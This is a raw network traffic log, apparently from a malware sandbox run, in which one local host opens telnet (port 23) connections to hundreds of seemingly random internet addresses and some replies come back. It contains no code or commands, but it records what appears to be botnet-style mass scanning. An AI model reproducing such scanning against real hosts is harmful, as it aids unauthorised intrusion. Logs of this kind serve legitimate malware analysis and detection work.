Feb 4, 2025 18:11:15.280718088 CET	10645	23	192.168.2.15	202.228.27.156
Feb 4, 2025 18:11:15.280718088 CET	10645	23	192.168.2.15	160.177.139.117
Feb 4, 2025 18:11:15.280719042 CET	10645	23	192.168.2.15	110.245.151.78
Feb 4, 2025 18:11:15.280719042 CET	10645	23	192.168.2.15	128.236.117.210
Feb 4, 2025 18:11:15.280719042 CET	10645	23	192.168.2.15	75.140.176.149
Feb 4, 2025 18:11:15.280720949 CET	10645	23	192.168.2.15	2.243.174.13
Feb 4, 2025 18:11:15.280723095 CET	10645	23	192.168.2.15	68.80.144.106
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	69.118.50.190
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	92.220.32.212
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	156.183.143.16
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	53.243.27.168
Feb 4, 2025 18:11:15.280725956 CET	10645	23	192.168.2.15	183.44.100.68
Feb 4, 2025 18:11:15.280725956 CET	10645	23	192.168.2.15	194.212.252.84
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	140.126.123.204
Feb 4, 2025 18:11:15.280725956 CET	10645	23	192.168.2.15	176.2.25.80
Feb 4, 2025 18:11:15.280725956 CET	10645	23	192.168.2.15	191.116.13.181
Feb 4, 2025 18:11:15.280721903 CET	10645	23	192.168.2.15	157.226.67.36
Feb 4, 2025 18:11:15.280723095 CET	10645	23	192.168.2.15	53.0.2.84
Feb 4, 2025 18:11:15.280723095 CET	10645	23	192.168.2.15	25.219.68.169
Feb 4, 2025 18:11:15.280741930 CET	10645	23	192.168.2.15	203.58.11.58
Feb 4, 2025 18:11:15.280742884 CET	10645	23	192.168.2.15	169.133.186.41
Feb 4, 2025 18:11:15.280749083 CET	10645	23	192.168.2.15	79.106.205.51
Feb 4, 2025 18:11:15.280762911 CET	10645	23	192.168.2.15	216.69.225.68
Feb 4, 2025 18:11:15.280765057 CET	10645	23	192.168.2.15	72.239.57.235
Feb 4, 2025 18:11:15.280770063 CET	10645	23	192.168.2.15	65.227.201.70
Feb 4, 2025 18:11:15.280775070 CET	10645	23	192.168.2.15	149.12.105.182
Feb 4, 2025 18:11:15.280780077 CET	10645	23	192.168.2.15	64.254.188.210
Feb 4, 2025 18:11:15.280780077 CET	10645	23	192.168.2.15	105.237.132.173
Feb 4, 2025 18:11:15.280780077 CET	10645	23	192.168.2.15	47.132.235.233
Feb 4, 2025 18:11:15.280781031 CET	10645	23	192.168.2.15	120.69.101.1
Feb 4, 2025 18:11:15.280785084 CET	10645	23	192.168.2.15	71.201.171.98
Feb 4, 2025 18:11:15.280798912 CET	10645	23	192.168.2.15	191.91.179.194
Feb 4, 2025 18:11:15.280798912 CET	10645	23	192.168.2.15	118.25.55.139
Feb 4, 2025 18:11:15.280811071 CET	10645	23	192.168.2.15	147.214.106.177
Feb 4, 2025 18:11:15.280812979 CET	10645	23	192.168.2.15	109.119.9.95
Feb 4, 2025 18:11:15.280824900 CET	10645	23	192.168.2.15	139.80.175.251
Feb 4, 2025 18:11:15.280827045 CET	10645	23	192.168.2.15	89.40.179.104
Feb 4, 2025 18:11:15.280832052 CET	10645	23	192.168.2.15	207.187.5.178
Feb 4, 2025 18:11:15.280836105 CET	10645	23	192.168.2.15	97.165.6.147
Feb 4, 2025 18:11:15.280836105 CET	10645	23	192.168.2.15	193.19.199.184
Feb 4, 2025 18:11:15.280839920 CET	10645	23	192.168.2.15	161.112.175.215
Feb 4, 2025 18:11:15.280839920 CET	10645	23	192.168.2.15	187.212.66.203
Feb 4, 2025 18:11:15.280850887 CET	10645	23	192.168.2.15	64.18.33.8
Feb 4, 2025 18:11:15.280854940 CET	10645	23	192.168.2.15	20.141.112.12
Feb 4, 2025 18:11:15.280854940 CET	10645	23	192.168.2.15	71.103.239.54
Feb 4, 2025 18:11:15.280857086 CET	10645	23	192.168.2.15	27.13.114.131
Feb 4, 2025 18:11:15.280867100 CET	10645	23	192.168.2.15	220.67.122.19
Feb 4, 2025 18:11:15.280880928 CET	10645	23	192.168.2.15	145.180.134.218
Feb 4, 2025 18:11:15.280883074 CET	10645	23	192.168.2.15	193.37.175.110
Feb 4, 2025 18:11:15.280891895 CET	10645	23	192.168.2.15	58.161.151.169
Feb 4, 2025 18:11:15.280900955 CET	10645	23	192.168.2.15	59.83.20.45
Feb 4, 2025 18:11:15.280900955 CET	10645	23	192.168.2.15	89.204.100.155
Feb 4, 2025 18:11:15.280919075 CET	10645	23	192.168.2.15	148.15.51.43
Feb 4, 2025 18:11:15.280919075 CET	10645	23	192.168.2.15	74.136.224.185
Feb 4, 2025 18:11:15.280927896 CET	10645	23	192.168.2.15	209.195.7.220
Feb 4, 2025 18:11:15.280940056 CET	10645	23	192.168.2.15	143.182.166.215
Feb 4, 2025 18:11:15.280956984 CET	10645	23	192.168.2.15	110.8.82.220
Feb 4, 2025 18:11:15.280958891 CET	10645	23	192.168.2.15	118.226.181.154
Feb 4, 2025 18:11:15.280961037 CET	10645	23	192.168.2.15	115.107.210.198
Feb 4, 2025 18:11:15.280961990 CET	10645	23	192.168.2.15	146.144.220.162
Feb 4, 2025 18:11:15.280962944 CET	10645	23	192.168.2.15	217.200.142.97
Feb 4, 2025 18:11:15.280962944 CET	10645	23	192.168.2.15	112.236.115.104
Feb 4, 2025 18:11:15.280968904 CET	10645	23	192.168.2.15	162.11.197.142
Feb 4, 2025 18:11:15.280971050 CET	10645	23	192.168.2.15	121.55.105.46
Feb 4, 2025 18:11:15.280971050 CET	10645	23	192.168.2.15	92.244.133.1
Feb 4, 2025 18:11:15.280973911 CET	10645	23	192.168.2.15	194.233.20.69
Feb 4, 2025 18:11:15.280982971 CET	10645	23	192.168.2.15	149.218.108.33
Feb 4, 2025 18:11:15.280986071 CET	10645	23	192.168.2.15	164.129.107.62
Feb 4, 2025 18:11:15.280986071 CET	10645	23	192.168.2.15	187.144.15.104
Feb 4, 2025 18:11:15.280987024 CET	10645	23	192.168.2.15	75.95.33.71
Feb 4, 2025 18:11:15.280992985 CET	10645	23	192.168.2.15	171.137.35.139
Feb 4, 2025 18:11:15.281003952 CET	10645	23	192.168.2.15	197.60.182.244
Feb 4, 2025 18:11:15.281003952 CET	10645	23	192.168.2.15	60.145.64.166
Feb 4, 2025 18:11:15.281009912 CET	10645	23	192.168.2.15	87.130.203.68
Feb 4, 2025 18:11:15.281021118 CET	10645	23	192.168.2.15	162.158.59.253
Feb 4, 2025 18:11:15.281024933 CET	10645	23	192.168.2.15	191.166.230.18
Feb 4, 2025 18:11:15.281028032 CET	10645	23	192.168.2.15	79.192.239.237
Feb 4, 2025 18:11:15.281035900 CET	10645	23	192.168.2.15	202.188.40.250
Feb 4, 2025 18:11:15.281044006 CET	10645	23	192.168.2.15	95.190.81.161
Feb 4, 2025 18:11:15.281056881 CET	10645	23	192.168.2.15	213.185.148.34
Feb 4, 2025 18:11:15.281065941 CET	10645	23	192.168.2.15	145.254.70.38
Feb 4, 2025 18:11:15.281066895 CET	10645	23	192.168.2.15	5.144.22.67
Feb 4, 2025 18:11:15.281069040 CET	10645	23	192.168.2.15	92.154.221.117
Feb 4, 2025 18:11:15.281069040 CET	10645	23	192.168.2.15	24.16.194.164
Feb 4, 2025 18:11:15.281081915 CET	10645	23	192.168.2.15	190.189.71.3
Feb 4, 2025 18:11:15.281092882 CET	10645	23	192.168.2.15	119.45.80.43
Feb 4, 2025 18:11:15.281095982 CET	10645	23	192.168.2.15	112.204.226.174
Feb 4, 2025 18:11:15.281096935 CET	10645	23	192.168.2.15	96.71.29.174
Feb 4, 2025 18:11:15.281097889 CET	10645	23	192.168.2.15	146.54.133.16
Feb 4, 2025 18:11:15.281101942 CET	10645	23	192.168.2.15	207.9.64.55
Feb 4, 2025 18:11:15.281112909 CET	10645	23	192.168.2.15	168.85.202.71
Feb 4, 2025 18:11:15.281167030 CET	10645	23	192.168.2.15	115.222.55.156
Feb 4, 2025 18:11:15.281167030 CET	10645	23	192.168.2.15	146.216.214.184
Feb 4, 2025 18:11:15.281168938 CET	10645	23	192.168.2.15	126.139.30.188
Feb 4, 2025 18:11:15.281183004 CET	10645	23	192.168.2.15	168.253.187.160
Feb 4, 2025 18:11:15.281239033 CET	10645	23	192.168.2.15	183.149.126.216
Feb 4, 2025 18:11:15.281239033 CET	10645	23	192.168.2.15	203.251.242.249
Feb 4, 2025 18:11:15.281239033 CET	10645	23	192.168.2.15	205.243.209.86
Feb 4, 2025 18:11:15.285904884 CET	23	10645	129.98.8.49	192.168.2.15
Feb 4, 2025 18:11:15.285916090 CET	23	10645	170.144.61.73	192.168.2.15
Feb 4, 2025 18:11:15.285923958 CET	23	10645	140.167.23.67	192.168.2.15
Feb 4, 2025 18:11:15.285937071 CET	23	10645	200.146.125.49	192.168.2.15
Feb 4, 2025 18:11:15.285945892 CET	23	10645	199.182.0.76	192.168.2.15
Feb 4, 2025 18:11:15.285955906 CET	10645	23	192.168.2.15	170.144.61.73
Feb 4, 2025 18:11:15.285955906 CET	23	10645	161.154.40.2	192.168.2.15
Feb 4, 2025 18:11:15.285965919 CET	10645	23	192.168.2.15	129.98.8.49
Feb 4, 2025 18:11:15.285969019 CET	23	10645	177.70.98.184	192.168.2.15
Feb 4, 2025 18:11:15.285965919 CET	10645	23	192.168.2.15	140.167.23.67
Feb 4, 2025 18:11:15.285970926 CET	10645	23	192.168.2.15	200.146.125.49
Feb 4, 2025 18:11:15.285979986 CET	23	10645	82.185.240.35	192.168.2.15
Feb 4, 2025 18:11:15.285984039 CET	10645	23	192.168.2.15	199.182.0.76
Feb 4, 2025 18:11:15.285989046 CET	23	10645	77.77.83.106	192.168.2.15
Feb 4, 2025 18:11:15.285999060 CET	23	10645	150.92.232.7	192.168.2.15
Feb 4, 2025 18:11:15.286006927 CET	23	10645	71.253.136.106	192.168.2.15
Feb 4, 2025 18:11:15.286016941 CET	23	10645	120.162.219.46	192.168.2.15
Feb 4, 2025 18:11:15.286017895 CET	10645	23	192.168.2.15	82.185.240.35
Feb 4, 2025 18:11:15.286020041 CET	10645	23	192.168.2.15	177.70.98.184
Feb 4, 2025 18:11:15.286020041 CET	10645	23	192.168.2.15	161.154.40.2
Feb 4, 2025 18:11:15.286027908 CET	10645	23	192.168.2.15	77.77.83.106
Feb 4, 2025 18:11:15.286037922 CET	23	10645	31.166.118.47	192.168.2.15
Feb 4, 2025 18:11:15.286042929 CET	10645	23	192.168.2.15	150.92.232.7
Feb 4, 2025 18:11:15.286046028 CET	10645	23	192.168.2.15	71.253.136.106
Feb 4, 2025 18:11:15.286047935 CET	23	10645	9.132.198.210	192.168.2.15
Feb 4, 2025 18:11:15.286057949 CET	23	10645	44.89.104.81	192.168.2.15
Feb 4, 2025 18:11:15.286068916 CET	23	10645	23.180.33.1	192.168.2.15
Feb 4, 2025 18:11:15.286070108 CET	10645	23	192.168.2.15	120.162.219.46
Feb 4, 2025 18:11:15.286077976 CET	23	10645	180.208.106.117	192.168.2.15
Feb 4, 2025 18:11:15.286081076 CET	10645	23	192.168.2.15	9.132.198.210
Feb 4, 2025 18:11:15.286087990 CET	23	10645	171.253.49.21	192.168.2.15
Feb 4, 2025 18:11:15.286088943 CET	10645	23	192.168.2.15	31.166.118.47
Feb 4, 2025 18:11:15.286098003 CET	23	10645	223.251.166.239	192.168.2.15
Feb 4, 2025 18:11:15.286102057 CET	10645	23	192.168.2.15	23.180.33.1
Feb 4, 2025 18:11:15.286104918 CET	10645	23	192.168.2.15	44.89.104.81
Feb 4, 2025 18:11:15.286108971 CET	23	10645	190.182.109.88	192.168.2.15
Feb 4, 2025 18:11:15.286115885 CET	10645	23	192.168.2.15	180.208.106.117
Feb 4, 2025 18:11:15.286119938 CET	23	10645	168.197.36.50	192.168.2.15
Feb 4, 2025 18:11:15.286123037 CET	10645	23	192.168.2.15	223.251.166.239
Feb 4, 2025 18:11:15.286123037 CET	10645	23	192.168.2.15	171.253.49.21
Feb 4, 2025 18:11:15.286130905 CET	23	10645	180.78.103.148	192.168.2.15
Feb 4, 2025 18:11:15.286139965 CET	23	10645	46.250.175.108	192.168.2.15
Feb 4, 2025 18:11:15.286149025 CET	23	10645	44.155.228.66	192.168.2.15
Feb 4, 2025 18:11:15.286151886 CET	10645	23	192.168.2.15	190.182.109.88
Feb 4, 2025 18:11:15.286156893 CET	10645	23	192.168.2.15	168.197.36.50
Feb 4, 2025 18:11:15.286158085 CET	23	10645	122.50.163.119	192.168.2.15
Feb 4, 2025 18:11:15.286160946 CET	10645	23	192.168.2.15	180.78.103.148
Feb 4, 2025 18:11:15.286163092 CET	23	10645	136.55.42.11	192.168.2.15
Feb 4, 2025 18:11:15.286169052 CET	23	10645	164.142.192.207	192.168.2.15
Feb 4, 2025 18:11:15.286170959 CET	10645	23	192.168.2.15	46.250.175.108
Feb 4, 2025 18:11:15.286174059 CET	23	10645	154.85.65.46	192.168.2.15
Feb 4, 2025 18:11:15.286192894 CET	23	10645	200.196.8.211	192.168.2.15
Feb 4, 2025 18:11:15.286201954 CET	23	10645	180.224.139.179	192.168.2.15
Feb 4, 2025 18:11:15.286205053 CET	10645	23	192.168.2.15	44.155.228.66
Feb 4, 2025 18:11:15.286211967 CET	10645	23	192.168.2.15	136.55.42.11
Feb 4, 2025 18:11:15.286212921 CET	10645	23	192.168.2.15	122.50.163.119
Feb 4, 2025 18:11:15.286212921 CET	23	10645	164.137.162.251	192.168.2.15
Feb 4, 2025 18:11:15.286216021 CET	10645	23	192.168.2.15	164.142.192.207
Feb 4, 2025 18:11:15.286226034 CET	10645	23	192.168.2.15	200.196.8.211
Feb 4, 2025 18:11:15.286226034 CET	10645	23	192.168.2.15	154.85.65.46
Feb 4, 2025 18:11:15.286231995 CET	10645	23	192.168.2.15	180.224.139.179
Feb 4, 2025 18:11:15.286235094 CET	23	10645	165.249.38.136	192.168.2.15
Feb 4, 2025 18:11:15.286252975 CET	10645	23	192.168.2.15	164.137.162.251
Feb 4, 2025 18:11:15.286267996 CET	10645	23	192.168.2.15	165.249.38.136
Feb 4, 2025 18:11:15.286855936 CET	23	10645	187.150.12.11	192.168.2.15
Feb 4, 2025 18:11:15.286865950 CET	23	10645	143.239.97.29	192.168.2.15
Feb 4, 2025 18:11:15.286874056 CET	23	10645	13.201.182.230	192.168.2.15
Feb 4, 2025 18:11:15.286900997 CET	10645	23	192.168.2.15	187.150.12.11
Feb 4, 2025 18:11:15.286906004 CET	10645	23	192.168.2.15	13.201.182.230
Feb 4, 2025 18:11:15.286906958 CET	10645	23	192.168.2.15	143.239.97.29
Feb 4, 2025 18:11:15.286955118 CET	23	10645	206.244.37.21	192.168.2.15
Feb 4, 2025 18:11:15.286964893 CET	23	10645	218.238.190.219	192.168.2.15
Feb 4, 2025 18:11:15.286973000 CET	23	10645	104.129.170.155	192.168.2.15
Feb 4, 2025 18:11:15.286983013 CET	23	10645	75.64.20.205	192.168.2.15
Feb 4, 2025 18:11:15.286992073 CET	23	10645	53.219.214.78	192.168.2.15
Feb 4, 2025 18:11:15.286999941 CET	23	10645	71.140.188.144	192.168.2.15
Feb 4, 2025 18:11:15.287005901 CET	10645	23	192.168.2.15	104.129.170.155
Feb 4, 2025 18:11:15.287005901 CET	10645	23	192.168.2.15	206.244.37.21
Feb 4, 2025 18:11:15.287009954 CET	23	10645	138.119.215.28	192.168.2.15
Feb 4, 2025 18:11:15.287012100 CET	10645	23	192.168.2.15	218.238.190.219
Feb 4, 2025 18:11:15.287019968 CET	23	10645	183.158.88.190	192.168.2.15
Feb 4, 2025 18:11:15.287024021 CET	10645	23	192.168.2.15	75.64.20.205
Feb 4, 2025 18:11:15.287024021 CET	10645	23	192.168.2.15	53.219.214.78
Feb 4, 2025 18:11:15.287029982 CET	23	10645	130.70.56.197	192.168.2.15
Feb 4, 2025 18:11:15.287035942 CET	10645	23	192.168.2.15	71.140.188.144
Feb 4, 2025 18:11:15.287035942 CET	10645	23	192.168.2.15	138.119.215.28
Feb 4, 2025 18:11:15.287039995 CET	23	10645	80.194.220.75	192.168.2.15
Feb 4, 2025 18:11:15.287045956 CET	10645	23	192.168.2.15	183.158.88.190
Feb 4, 2025 18:11:15.287050962 CET	23	10645	94.86.77.0	192.168.2.15
Feb 4, 2025 18:11:15.287067890 CET	10645	23	192.168.2.15	80.194.220.75
Feb 4, 2025 18:11:15.287070036 CET	10645	23	192.168.2.15	130.70.56.197
Feb 4, 2025 18:11:15.287070990 CET	23	10645	212.98.151.177	192.168.2.15
Feb 4, 2025 18:11:15.287081003 CET	23	10645	35.128.194.32	192.168.2.15
Feb 4, 2025 18:11:15.287085056 CET	10645	23	192.168.2.15	94.86.77.0
Feb 4, 2025 18:11:15.287090063 CET	23	10645	128.125.86.157	192.168.2.15
Feb 4, 2025 18:11:15.287100077 CET	23	10645	135.64.29.32	192.168.2.15
Feb 4, 2025 18:11:15.287108898 CET	10645	23	192.168.2.15	212.98.151.177
Feb 4, 2025 18:11:15.287113905 CET	10645	23	192.168.2.15	35.128.194.32
Feb 4, 2025 18:11:15.287117958 CET	23	10645	157.105.102.148	192.168.2.15
Feb 4, 2025 18:11:15.287127018 CET	23	10645	94.227.241.132	192.168.2.15
Feb 4, 2025 18:11:15.287131071 CET	10645	23	192.168.2.15	128.125.86.157
Feb 4, 2025 18:11:15.287132025 CET	10645	23	192.168.2.15	135.64.29.32
Feb 4, 2025 18:11:15.287134886 CET	23	10645	209.173.21.234	192.168.2.15
Feb 4, 2025 18:11:15.287144899 CET	23	10645	37.106.63.8	192.168.2.15
Feb 4, 2025 18:11:15.287156105 CET	10645	23	192.168.2.15	157.105.102.148
Feb 4, 2025 18:11:15.287156105 CET	10645	23	192.168.2.15	94.227.241.132
Feb 4, 2025 18:11:15.287164927 CET	23	10645	108.249.165.250	192.168.2.15
Feb 4, 2025 18:11:15.287166119 CET	10645	23	192.168.2.15	209.173.21.234
Feb 4, 2025 18:11:15.287183046 CET	10645	23	192.168.2.15	37.106.63.8
Feb 4, 2025 18:11:15.287206888 CET	10645	23	192.168.2.15	108.249.165.250
Feb 4, 2025 18:11:15.287533998 CET	23	10645	129.9.229.69	192.168.2.15
Feb 4, 2025 18:11:15.287544012 CET	23	10645	132.130.1.67	192.168.2.15
Feb 4, 2025 18:11:15.287552118 CET	23	10645	91.0.19.87	192.168.2.15
Feb 4, 2025 18:11:15.287561893 CET	23	10645	132.15.159.73	192.168.2.15
Feb 4, 2025 18:11:15.287570953 CET	23	10645	153.195.245.31	192.168.2.15
Feb 4, 2025 18:11:15.287573099 CET	10645	23	192.168.2.15	129.9.229.69
Feb 4, 2025 18:11:15.287589073 CET	10645	23	192.168.2.15	91.0.19.87
Feb 4, 2025 18:11:15.287614107 CET	10645	23	192.168.2.15	153.195.245.31
Feb 4, 2025 18:11:15.287621021 CET	10645	23	192.168.2.15	132.130.1.67
Feb 4, 2025 18:11:15.287623882 CET	10645	23	192.168.2.15	132.15.159.73
Feb 4, 2025 18:11:15.287673950 CET	23	10645	179.180.114.19	192.168.2.15
Feb 4, 2025 18:11:15.287683964 CET	23	10645	45.119.106.189	192.168.2.15
Feb 4, 2025 18:11:15.287693024 CET	23	10645	57.205.39.29	192.168.2.15
Feb 4, 2025 18:11:15.287702084 CET	23	10645	103.187.98.3	192.168.2.15
Feb 4, 2025 18:11:15.287709951 CET	10645	23	192.168.2.15	179.180.114.19
Feb 4, 2025 18:11:15.287714005 CET	10645	23	192.168.2.15	45.119.106.189
Feb 4, 2025 18:11:15.287719011 CET	23	10645	178.240.68.167	192.168.2.15
Feb 4, 2025 18:11:15.287720919 CET	10645	23	192.168.2.15	57.205.39.29
Feb 4, 2025 18:11:15.287729025 CET	23	10645	108.109.210.172	192.168.2.15
Feb 4, 2025 18:11:15.287738085 CET	23	10645	201.160.33.69	192.168.2.15
Feb 4, 2025 18:11:15.287746906 CET	23	10645	184.200.125.10	192.168.2.15
Feb 4, 2025 18:11:15.287750959 CET	10645	23	192.168.2.15	103.187.98.3
Feb 4, 2025 18:11:15.287750959 CET	10645	23	192.168.2.15	178.240.68.167
Feb 4, 2025 18:11:15.287755966 CET	23	10645	180.109.28.208	192.168.2.15
Feb 4, 2025 18:11:15.287760973 CET	10645	23	192.168.2.15	201.160.33.69
Feb 4, 2025 18:11:15.287764072 CET	10645	23	192.168.2.15	108.109.210.172
Feb 4, 2025 18:11:15.287765980 CET	23	10645	148.9.7.97	192.168.2.15
Feb 4, 2025 18:11:15.287775040 CET	23	10645	61.216.233.236	192.168.2.15
Feb 4, 2025 18:11:15.287789106 CET	10645	23	192.168.2.15	180.109.28.208
Feb 4, 2025 18:11:15.287791014 CET	10645	23	192.168.2.15	184.200.125.10
Feb 4, 2025 18:11:15.287794113 CET	23	10645	120.64.224.218	192.168.2.15
Feb 4, 2025 18:11:15.287800074 CET	10645	23	192.168.2.15	148.9.7.97
Feb 4, 2025 18:11:15.287812948 CET	23	10645	211.5.82.30	192.168.2.15
Feb 4, 2025 18:11:15.287822962 CET	23	10645	83.203.152.236	192.168.2.15
Feb 4, 2025 18:11:15.287831068 CET	23	10645	36.176.57.6	192.168.2.15
Feb 4, 2025 18:11:15.287833929 CET	10645	23	192.168.2.15	61.216.233.236
Feb 4, 2025 18:11:15.287839890 CET	23	10645	23.235.121.239	192.168.2.15
Feb 4, 2025 18:11:15.287848949 CET	23	10645	68.111.155.67	192.168.2.15
Feb 4, 2025 18:11:15.287857056 CET	23	10645	112.84.19.109	192.168.2.15
Feb 4, 2025 18:11:15.287866116 CET	23	10645	180.35.33.201	192.168.2.15
Feb 4, 2025 18:11:15.287873983 CET	23	10645	148.177.1.189	192.168.2.15
Feb 4, 2025 18:11:15.287873983 CET	10645	23	192.168.2.15	36.176.57.6
Feb 4, 2025 18:11:15.287877083 CET	10645	23	192.168.2.15	211.5.82.30
Feb 4, 2025 18:11:15.287879944 CET	10645	23	192.168.2.15	68.111.155.67
Feb 4, 2025 18:11:15.287883043 CET	10645	23	192.168.2.15	83.203.152.236
Feb 4, 2025 18:11:15.287883997 CET	23	10645	94.164.192.93	192.168.2.15
Feb 4, 2025 18:11:15.287883043 CET	10645	23	192.168.2.15	23.235.121.239
Feb 4, 2025 18:11:15.287887096 CET	10645	23	192.168.2.15	112.84.19.109
Feb 4, 2025 18:11:15.287889004 CET	10645	23	192.168.2.15	120.64.224.218
Feb 4, 2025 18:11:15.287892103 CET	23	10645	83.221.63.72	192.168.2.15
Feb 4, 2025 18:11:15.287897110 CET	23	10645	146.120.87.140	192.168.2.15
Feb 4, 2025 18:11:15.287905931 CET	10645	23	192.168.2.15	180.35.33.201
Feb 4, 2025 18:11:15.287923098 CET	10645	23	192.168.2.15	148.177.1.189
Feb 4, 2025 18:11:15.287928104 CET	10645	23	192.168.2.15	83.221.63.72
Feb 4, 2025 18:11:15.287931919 CET	10645	23	192.168.2.15	94.164.192.93
Feb 4, 2025 18:11:15.287955046 CET	10645	23	192.168.2.15	146.120.87.140
Feb 4, 2025 18:11:15.288099051 CET	23	10645	18.7.3.199	192.168.2.15
Feb 4, 2025 18:11:15.288117886 CET	23	10645	158.149.137.73	192.168.2.15
Feb 4, 2025 18:11:15.288126945 CET	23	10645	121.30.131.180	192.168.2.15
Feb 4, 2025 18:11:15.288135052 CET	10645	23	192.168.2.15	18.7.3.199
Feb 4, 2025 18:11:15.288142920 CET	23	10645	17.83.44.167	192.168.2.15
Feb 4, 2025 18:11:15.288153887 CET	23	10645	25.7.1.179	192.168.2.15
Feb 4, 2025 18:11:15.288157940 CET	10645	23	192.168.2.15	158.149.137.73
Feb 4, 2025 18:11:15.288161039 CET	10645	23	192.168.2.15	121.30.131.180
Feb 4, 2025 18:11:15.288162947 CET	23	10645	146.0.93.112	192.168.2.15
Feb 4, 2025 18:11:15.288170099 CET	10645	23	192.168.2.15	17.83.44.167
Feb 4, 2025 18:11:15.288172960 CET	23	10645	97.38.106.62	192.168.2.15
Feb 4, 2025 18:11:15.288183928 CET	23	10645	210.181.253.13	192.168.2.15
Feb 4, 2025 18:11:15.288218975 CET	10645	23	192.168.2.15	25.7.1.179
Feb 4, 2025 18:11:15.288218975 CET	10645	23	192.168.2.15	146.0.93.112
Feb 4, 2025 18:11:15.288233995 CET	23	10645	125.34.10.8	192.168.2.15
Feb 4, 2025 18:11:15.288244009 CET	23	10645	192.150.137.169	192.168.2.15
Feb 4, 2025 18:11:15.288248062 CET	23	10645	59.56.94.253	192.168.2.15
Feb 4, 2025 18:11:15.288250923 CET	23	10645	201.153.104.134	192.168.2.15
Feb 4, 2025 18:11:15.288254976 CET	23	10645	207.100.187.146	192.168.2.15
Feb 4, 2025 18:11:15.288256884 CET	10645	23	192.168.2.15	97.38.106.62
Feb 4, 2025 18:11:15.288256884 CET	10645	23	192.168.2.15	210.181.253.13
Feb 4, 2025 18:11:15.288258076 CET	23	10645	13.8.230.115	192.168.2.15
Feb 4, 2025 18:11:15.288269043 CET	23	10645	89.124.130.228	192.168.2.15
Feb 4, 2025 18:11:15.288280010 CET	23	10645	150.113.3.162	192.168.2.15
Feb 4, 2025 18:11:15.288289070 CET	23	10645	213.177.22.203	192.168.2.15
Feb 4, 2025 18:11:15.288299084 CET	10645	23	192.168.2.15	201.153.104.134
Feb 4, 2025 18:11:15.288300991 CET	10645	23	192.168.2.15	207.100.187.146
Feb 4, 2025 18:11:15.288305044 CET	10645	23	192.168.2.15	59.56.94.253
Feb 4, 2025 18:11:15.288306952 CET	10645	23	192.168.2.15	125.34.10.8
Feb 4, 2025 18:11:15.288306952 CET	23	10645	103.196.7.239	192.168.2.15
Feb 4, 2025 18:11:15.288306952 CET	10645	23	192.168.2.15	13.8.230.115
Feb 4, 2025 18:11:15.288306952 CET	10645	23	192.168.2.15	192.150.137.169
Feb 4, 2025 18:11:15.288319111 CET	23	10645	169.73.246.89	192.168.2.15
Feb 4, 2025 18:11:15.288333893 CET	23	10645	43.165.196.189	192.168.2.15
Feb 4, 2025 18:11:15.288342953 CET	23	10645	97.21.127.190	192.168.2.15
Feb 4, 2025 18:11:15.288347006 CET	10645	23	192.168.2.15	89.124.130.228
Feb 4, 2025 18:11:15.288351059 CET	23	10645	88.106.15.52	192.168.2.15
Feb 4, 2025 18:11:15.288358927 CET	23	10645	201.162.123.253	192.168.2.15
Feb 4, 2025 18:11:15.288367987 CET	23	10645	72.233.191.4	192.168.2.15
Feb 4, 2025 18:11:15.288377047 CET	10645	23	192.168.2.15	88.106.15.52
Feb 4, 2025 18:11:15.288377047 CET	10645	23	192.168.2.15	213.177.22.203
Feb 4, 2025 18:11:15.288381100 CET	10645	23	192.168.2.15	150.113.3.162
Feb 4, 2025 18:11:15.288381100 CET	10645	23	192.168.2.15	103.196.7.239
Feb 4, 2025 18:11:15.288383007 CET	23	10645	80.214.79.100	192.168.2.15
Feb 4, 2025 18:11:15.288381100 CET	10645	23	192.168.2.15	97.21.127.190
Feb 4, 2025 18:11:15.288388014 CET	10645	23	192.168.2.15	201.162.123.253
Feb 4, 2025 18:11:15.288395882 CET	23	10645	14.219.16.84	192.168.2.15
Feb 4, 2025 18:11:15.288399935 CET	10645	23	192.168.2.15	72.233.191.4
Feb 4, 2025 18:11:15.288405895 CET	23	10645	77.105.124.183	192.168.2.15
Feb 4, 2025 18:11:15.288408995 CET	10645	23	192.168.2.15	169.73.246.89
Feb 4, 2025 18:11:15.288408995 CET	10645	23	192.168.2.15	43.165.196.189
Feb 4, 2025 18:11:15.288415909 CET	23	10645	200.98.163.145	192.168.2.15
Feb 4, 2025 18:11:15.288424969 CET	10645	23	192.168.2.15	80.214.79.100
Feb 4, 2025 18:11:15.288424969 CET	10645	23	192.168.2.15	14.219.16.84
Feb 4, 2025 18:11:15.288470984 CET	10645	23	192.168.2.15	200.98.163.145
Feb 4, 2025 18:11:15.288492918 CET	10645	23	192.168.2.15	77.105.124.183
Feb 4, 2025 18:11:15.288660049 CET	23	10645	125.246.67.203	192.168.2.15
Feb 4, 2025 18:11:15.288677931 CET	23	10645	219.24.38.221	192.168.2.15
Feb 4, 2025 18:11:15.288686037 CET	23	10645	149.64.123.161	192.168.2.15
Feb 4, 2025 18:11:15.288695097 CET	23	10645	154.23.122.183	192.168.2.15
Feb 4, 2025 18:11:15.288702965 CET	23	10645	23.37.174.216	192.168.2.15
Feb 4, 2025 18:11:15.288711071 CET	10645	23	192.168.2.15	125.246.67.203
Feb 4, 2025 18:11:15.288712025 CET	10645	23	192.168.2.15	219.24.38.221
Feb 4, 2025 18:11:15.288719893 CET	10645	23	192.168.2.15	149.64.123.161
Feb 4, 2025 18:11:15.288731098 CET	10645	23	192.168.2.15	154.23.122.183
Feb 4, 2025 18:11:15.288731098 CET	10645	23	192.168.2.15	23.37.174.216
Feb 4, 2025 18:11:15.288774014 CET	23	10645	157.114.240.247	192.168.2.15
Feb 4, 2025 18:11:15.288784027 CET	23	10645	67.19.104.111	192.168.2.15
Feb 4, 2025 18:11:15.288791895 CET	23	10645	101.149.182.66	192.168.2.15
Feb 4, 2025 18:11:15.288800955 CET	23	10645	143.176.243.0	192.168.2.15
Feb 4, 2025 18:11:15.288810968 CET	23	10645	182.8.63.154	192.168.2.15
Feb 4, 2025 18:11:15.288819075 CET	23	10645	91.197.80.122	192.168.2.15
Feb 4, 2025 18:11:15.288827896 CET	23	10645	153.133.111.189	192.168.2.15
Feb 4, 2025 18:11:15.288827896 CET	10645	23	192.168.2.15	157.114.240.247
Feb 4, 2025 18:11:15.288827896 CET	10645	23	192.168.2.15	67.19.104.111
Feb 4, 2025 18:11:15.288830996 CET	10645	23	192.168.2.15	101.149.182.66
